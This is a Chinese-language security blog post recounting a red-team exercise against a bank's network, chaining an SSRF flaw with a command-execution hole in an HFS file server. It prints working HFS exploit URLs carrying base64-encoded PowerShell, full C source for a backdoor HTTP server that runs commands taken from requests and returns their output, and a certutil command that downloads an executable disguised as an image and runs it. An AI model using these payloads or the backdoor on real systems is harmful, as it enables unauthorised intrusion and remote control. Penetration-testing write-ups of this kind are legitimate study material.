记一次SSRF+HFS命令执行回显相关研究

VSole2021-11-04 07:52:23

0x01 前言

在今年上半年参加的宇宙行攻防演练中遇到的环境,但是当时由于时间紧迫没有深入研究。现在下半年没什么项目了拿出来做个记录复现出来。

0x02 环境复现

在我们通过子域名进入目标内网5个小时被对方蓝队踢出来,所以非常需要一个入口点再次进入到目标内网,后来找到了一个具有回显的SSRF,至于HFS服务器是我们在5个小时的时间中唯一拿下来的Windows机器。不得不说不愧是四大行,防护做的确实不错。

这里SSRF所在的服务器以及HFS服务器均不出网,但是SSRF由于是一个商城系统所以可以上传图片(头像)。基于此我在虚拟机中搭建了HFS服务器,并未搭建商城。

0x03 条件

SSRF漏洞点:

不出网

不能使用gopher协议

无法进行302跳转

使用Java开发

HFS服务器:

不出网

存在命令执行漏洞

0x04 思考利用方案

由于目标不出网且HFS服务器命令执行漏洞并无回显,所以我定了一个最低目标:能够回显命令,这样就能方便我进一步的进行内网渗透了。

方案一 命令行安装IIS:

我的方案一就是在目标服务器上通过命令行安装IIS,在网上查阅资料后发现如下命令可以安装:

start /w pkgmgr /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;IIS-HttpRedirect;IIS-ApplicationDevelopment;IIS-ASPNET;IIS-NetFxExtensibility;IIS-ASP;IIS-CGI;IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-ServerSideIncludes;IIS-HealthAndDiagnostics;IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ODBCLogging;IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;IIS-ClientCertificateMappingAuthentication;IIS-IISCertificateMappingAuthentication;IIS-URLAuthorization;IIS-RequestFiltering;IIS-IPSecurity;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;IIS-WebServerManagementTools;IIS-ManagementConsole;IIS-ManagementScriptingTools;IIS-ManagementService;IIS-IIS6ManagementCompatibility;IIS-Metabase;IIS-WMICompatibility;IIS-LegacyScripts;IIS-LegacySnapIn;IIS-FTPPublishingService;IIS-FTPServer;IIS-FTPManagement;WAS-WindowsActivationService;WAS-ProcessModel;WAS-NetFxEnvironment;WAS-ConfigurationAPI

在服务器执行是没有问题,但是一旦使用命令执行去执行会出现如下情况:

研究的半天,没搞清楚为什么会这样,后来觉得可能是因为HFS命令执行点的问题,于是心想能不能用powershell去执行:

http://192.168.145.136/?search==%00{.exec|cmd%20/c powershell -enc cABrAGcAbQBnAHIAIAAvAGkAdQA6AEkASQBTAC0AVwBlAGIAUwBlAHIAdgBlAHIAUgBvAGwAZQA7AEkASQBTAC0AVwBlAGIAUwBlAHIAdgBlAHIAOwBJAEkAUwAtAEMAbwBtAG0AbwBuAEgAdAB0AHAARgBlAGEAdAB1AHIAZQBzADsASQBJAFMALQBTAHQAYQB0AGkAYwBDAG8AbgB0AGUAbgB0ADsASQBJAFMALQBEAGUAZgBhAHUAbAB0AEQAbwBjAHUAbQBlAG4AdAA7AEkASQBTAC0ARABpAHIAZQBjAHQAbwByAHkAQgByAG8AdwBzAGkAbgBnADsASQBJAFMALQBIAHQAdABwAEUAcgByAG8AcgBzADsASQBJAFMALQBIAHQAdABwAFIAZQBkAGkAcgBlAGMAdAA7AEkASQBTAC0AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEQAZQB2AGUAbABvAHAAbQBlAG4AdAA7AEkASQBTAC0AQQBTAFAATgBFAFQAOwBJAEkAUwAtAE4AZQB0AEYAeABFAHgAdABlAG4AcwBpAGIAaQBsAGkAdAB5ADsASQBJAFMALQBBAFMAUAA7AEkASQBTAC0AQwBHAEkAOwBJAEkAUwAtAEkAUwBBAFAASQBFAHgAdABlAG4AcwBpAG8AbgBzADsASQBJAFMALQBJAFMAQQBQAEkARgBpAGwAdABlAHIAOwBJAEkAUwAtAFMAZQByAHYAZQByAFMAaQBkAGUASQBuAGMAbAB1AGQAZQBzADsASQBJAFMALQBIAGUAYQBsAHQAaABBAG4AZABEAGkAYQBnAG4AbwBzAHQAaQBjAHMAOwBJAEkAUwAtAEgAdAB0AHAATABvAGcAZwBpAG4AZwA7AEkASQBTAC0ATABvAGcAZwBpAG4AZwBMAGkAYgByAGEAcgBpAGUAcwA7AEkASQBTAC0AUgBlAHEAdQBlAHMAdABNAG8AbgBpAHQAbwByADsASQBJAFMALQBIAHQAdABwAFQAcgBhAGMAaQBuAGcAOwBJAEkAUwAtAEMAdQBzAHQAbwBtAEwAbwBnAGcAaQBuAGcAOwBJAEkAUwAtAE8ARABCAEMATABvAGcAZwBpAG4AZwA7AEkASQBTAC0AUwBlAGMAdQByAGkAdAB5ADsASQBJAFMALQBCAGEAcwBpAGMAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuADsASQBJAFMALQBXAGkAbgBkAG8AdwBzAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgA7AEkASQBTAC0ARABpAGcAZQBzAHQAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuADsASQBJAFMALQBDAGwAaQBlAG4AdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUATQBhAHAAcABpAG4AZwBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AOwBJAEkAUwAtAEkASQBTAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBNAGEAcABwAGkAbgBnAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgA7AEkASQBTAC0AVQBSAEwAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgA7AEkASQBTAC0AUgBlAHEAdQBlAHMAdABGAGkAbAB0AGUAcgBpAG4AZwA7AEkASQBTAC0ASQBQAFMAZQBjAHUAcgBpAHQAeQA7AEkASQBTAC0AUABlAHIAZgBvAHIAbQBhAG4AYwBlADsASQBJAFMALQBIAHQAdABwAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBTAHQAYQB0AGkAYwA7AEkASQBTAC0ASAB0AHQAcABDAG8AbQBwAHIAZQBzAHMAaQBvAG4ARAB5AG4AYQBtAGkAYwA7AEkASQBTAC0AVwBlAGIAUwBlAHIAdgBlAHIATQBhAG4AYQBnAGUAbQBlAG4AdABUAG8AbwBsAHMAOwBJAEkAUwAtAE0AYQBuAGEAZwBlAG0AZQBuAHQAQwBvAG4AcwBvAGwAZQA7AEkASQBTAC0ATQBhAG4AYQBnAGUAbQBlAG4AdABTAGMAcgBpAHAAdABpAG4AZwBUAG8AbwBsAHMAOwBJAEkAUwAtAE0AYQBuAGEAZwBlAG0AZQBuAHQAUwBlAHIAdgBpAGMAZQA7AEkASQBTAC0ASQBJAFMANgBNAGEAbgBhAGcAZQBtAGUAbgB0AEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAOwBJAEkAUwAtAE0AZQB0AGEAYgBhAHMAZQA7AEkASQBTAC0AVwBNAEkAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQA7AEkASQBTAC0ATABlAGcAYQBjAHkAUwBjAHIAaQBwAHQAcwA7AEkASQBTAC0ATABlAGcAYQBjAHkAUwBuAGEAcABJAG4AOwBJAEkAUwAtAEYAVABQAFAAdQBiAGwAaQBzAGgAaQBuAGcAUwBlAHIAdgBpAGMAZQA7AEkASQBTAC0ARgBUAFAAUwBlAHIAdgBlAHIAOwBJAEkAUwAtAEYAVABQAE0AYQBuAGEAZwBlAG0AZQBuAHQAOwBXAEEAUwAtAFcAaQBuAGQAbwB3AHMAQQBjAHQAaQB2AGEAdABpAG8AbgBTAGUAcgB2AGkAYwBlADsAVwBBAFMALQBQAHIAbwBjAGUAcwBzAE0AbwBkAGUAbAA7AFcAQQBTAC0ATgBlAHQARgB4AEUAbgB2AGkAcgBvAG4AbQBlAG4AdAA7AFcAQQBTAC0AQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgBBAFAASQA%3D.}

还是这样:

方案二 自建HTTP服务器::

源码如下:

#include <stdio.h>#include <stdlib.h>#include <process.h>#include <WinSock2.h>#pragma comment(lib, "ws2_32.lib")
#define BUF_SIZE 2048#define BUF_SMALL 100#pragma warning(disable:4996) 
BOOL PipeCmd(char* pszCmd, char* pszResultBuffer, DWORD dwResultBufferSize){    SECURITY_ATTRIBUTES securityAttributes = { 0 };    securityAttributes.bInheritHandle = TRUE;    securityAttributes.nLength = sizeof(securityAttributes);    securityAttributes.lpSecurityDescriptor = NULL;
    HANDLE hReadPipe = NULL;    HANDLE hWritePipe = NULL;    BOOL bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);    if (FALSE == bRet)    {        return FALSE;    }
    STARTUPINFO si = { 0 };    si.cb = sizeof(si);    si.hStdError = hWritePipe;    si.hStdOutput = hWritePipe;    si.wShowWindow = SW_HIDE;    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;    PROCESS_INFORMATION pi = { 0 };    bRet = ::CreateProcess(NULL, pszCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);    if (FALSE == bRet)    {    }    ::WaitForSingleObject(pi.hThread, INFINITE);    ::WaitForSingleObject(pi.hProcess, INFINITE);    ::RtlZeroMemory(pszResultBuffer, dwResultBufferSize);    ::ReadFile(hReadPipe, pszResultBuffer, dwResultBufferSize, NULL, NULL);
    ::CloseHandle(pi.hThread);    ::CloseHandle(pi.hProcess);    ::CloseHandle(hWritePipe);    ::CloseHandle(hReadPipe);
    return TRUE;}
void Send_404(SOCKET sock){    char Protocol[] = "HTTP/1.0 404 Bad Request\r\n";    send(sock, Protocol, strlen(Protocol), 0);    closesocket(sock);}
unsigned WINAPI RequestHandle(void* argv){    SOCKET hClntSock = (SOCKET)argv;
    char Buffer[BUF_SIZE] = { 0 };    char Method[BUF_SMALL] = { 0 };    char CMD[BUF_SMALL] = { 0 };
    recv(hClntSock, Buffer, BUF_SIZE, 0);
    // 寻找HTTP请求头 如果不为空则继续    if (strstr(Buffer, "HTTP/1") != NULL)    {        // 接着判断是否为GET请求方式        strcpy(Method, strtok(Buffer, "/"));        if (strcmp(Method, "GET") != 0)        {            strcpy(CMD, strtok(0, "/"));            printf("请求方式: %s 执行命令: %s \n", Method, CMD);
            char CmdBuffer[BUF_SIZE] = { 0 };            PipeCmd(CMD, CmdBuffer, BUF_SIZE);            char Protocol[] = "HTTP/1.1 200 OK\r\n";            char ServerType[] = "Server:hack\r\n";            char ContentLen[100] = {0};            sprintf(ContentLen,"Content-length:%d\r\n", strlen(CmdBuffer));            char ContentType[] = "Content-type:text/html\r\n";            send(hClntSock, Protocol, strlen(Protocol), 0);            send(hClntSock, ServerType, strlen(ServerType), 0);            send(hClntSock, ContentLen, strlen(ContentLen), 0);            send(hClntSock, ContentType, strlen(ContentType), 0);            send(hClntSock, "\r\n", 2, 0);            send(hClntSock, CmdBuffer, strlen(CmdBuffer),0);            closesocket(hClntSock);            return 0;        }    }
    Send_404(hClntSock);    closesocket(hClntSock);    return -1;}
int main(int argc, char* argv[]){    WSADATA wsaData;    SOCKET ServerSock, ClientSock;    SOCKADDR_IN ServerAddr, ClientAddr;
    WSAStartup(MAKEWORD(2, 2), &wsaData);    ServerSock = socket(PF_INET, SOCK_STREAM, 0);    memset(&ServerAddr, 0, sizeof(ServerAddr));
    ServerAddr.sin_family = AF_INET;    ServerAddr.sin_addr.s_addr = htonl(INADDR_ANY);    ServerAddr.sin_port = htons(80);
    bind(ServerSock, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));    listen(ServerSock, 10);
    while (1)    {        HANDLE hThread;        DWORD dwThreadID;        int ClientAddrSize;
        ClientAddrSize = sizeof(ClientAddr);        ClientSock = accept(ServerSock, (SOCKADDR*)&ClientAddr, &ClientAddrSize);
        printf("请求客户端 IP: %s --> 端口: %d \n", inet_ntoa(ClientAddr.sin_addr), ntohs(ClientAddr.sin_port));        hThread = (HANDLE)_beginthreadex(0, 0, RequestHandle, (void*)ClientSock, 0, (unsigned*)&dwThreadID);    }    closesocket(ServerSock);    WSACleanup();
    return 0;}

将编译出来的文件以图片的方式上传到SSRF漏洞站点,然后使用下载文件的方式下载到本地,但是还有个问题,我们可以发现HFS命令执行是以点结尾的,所以我们的文件中不能出现点,还需要借助到powershell,谢谢wwl:

编码

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('certutil -urlcache -split -f http://10.0.103.7/xxx.jpg xxx.exe'))

执行:

?search==%00{.exec|cmd%20/c powershell -enc YwBlAHIAdAB1AHQAaQBsACAALQB1AHIAbABjAGEAYwBoAGUAIAAtAHMAcABsAGkAdAAgAC0AZgAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMAAuADEAMAAzAC4ANwAvAHgAeAB4AC4AagBwAGcAIAB4AHgAeAAuAGUAeABlAA%3D%3D.}

下载成功后需要让他跑起来:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('start ./xxx.exe'))

之后使用SSRF进行如下访问:

0x05 参考链接

https://blog.csdn.net/weixin_28842367/article/details/113369042https://blog.csdn.net/i1j2k3/article/details/81631321
ssrfchar
本作品采用《CC 协议》,转载必须注明作者和本文链接
漏洞描述 Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。 CVE编号:CVE-2014-4210 影响范围: •Oracle WebLogic Server 10.3.6.0 •Oracle WebLogic Server 10.0.2.0 环境搭建
今天分享一篇文章,涉及Redis未授权、SSRF漏洞、宽字节注入、JSONP劫持、CORS、CRLF注入等技能,并详细讲述了其原理和漏洞利用等。能够回连且权限够的话,写crontab利用计划任务执行命令反弹shell?图片加载与下载:通过URL地址加载或下载图片?禁用不需要的协议。禁止30x跳转Java和PHP的SSRF区别PHP支持的协议:
本篇文章通过 网络架构层、HTTP协议层、第三方应用层讲解了绕过WAF的常见方法一、网络架构层一般通过域名指向云WAF地址后反向实现代理,找到这些公司的服务器的真实IP即可实现绕过具体方法如下:1、查找相关的二级域名及同一域名注册者的其他域名解析记录。ISASP支持类似Unicode%u0027的编码,还会对不合法的URL编码进行字符删除。
施耐德电气近日发布公告称已经修补了几个有关电动汽车充电站的新漏洞,这些漏洞使其EVlink电动汽车充电站容易受到远程黑客攻击。
Mysql攻击总结
2021-11-17 04:43:35
Mysql数据库在无论是在渗透测试还是正常使用都是比较常见的数据库,周末没事做,顺便总结梳理了mysql近些年的常见攻击利用方法。 0x01 简单介绍 MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。 0x02 基础指令 在mysql
0x02 环境复现在我们通过子域名进入目标内网5个小时被对方蓝队踢出来,所以非常需要一个入口点再次进入到目标内网,后来找到了一个具有回显的SSRF,至于HFS服务器是我们在5个小时的时间中唯一拿下来的Windows机器。这里SSRF所在的服务器以及HFS服务器均不出网,但是SSRF由于是一个商城系统所以可以上传图片(头像)。基于此我在虚拟机中搭建了HFS服务器,并未搭建商城。
在平时进行红蓝攻防演练的时候,经常会碰到目标资产在云服务机器上的情况,新的技术也会带来新的风险,本文将以 AWS 的 EC2(Elastic Compute Cloud)弹性计算服务为例,主要谈谈在面对云服务器场景下的一些攻防手法。
本研究的系统分析揭示了一系列漏洞,这些漏洞证明了 EVCSMS 对远程网络攻击的不安全性。考虑到此类攻击的可行性,还讨论了针对 EV 充电站 (EVCS,EV Charging Stations) 及其用户的攻击影响。
VSole
网络安全专家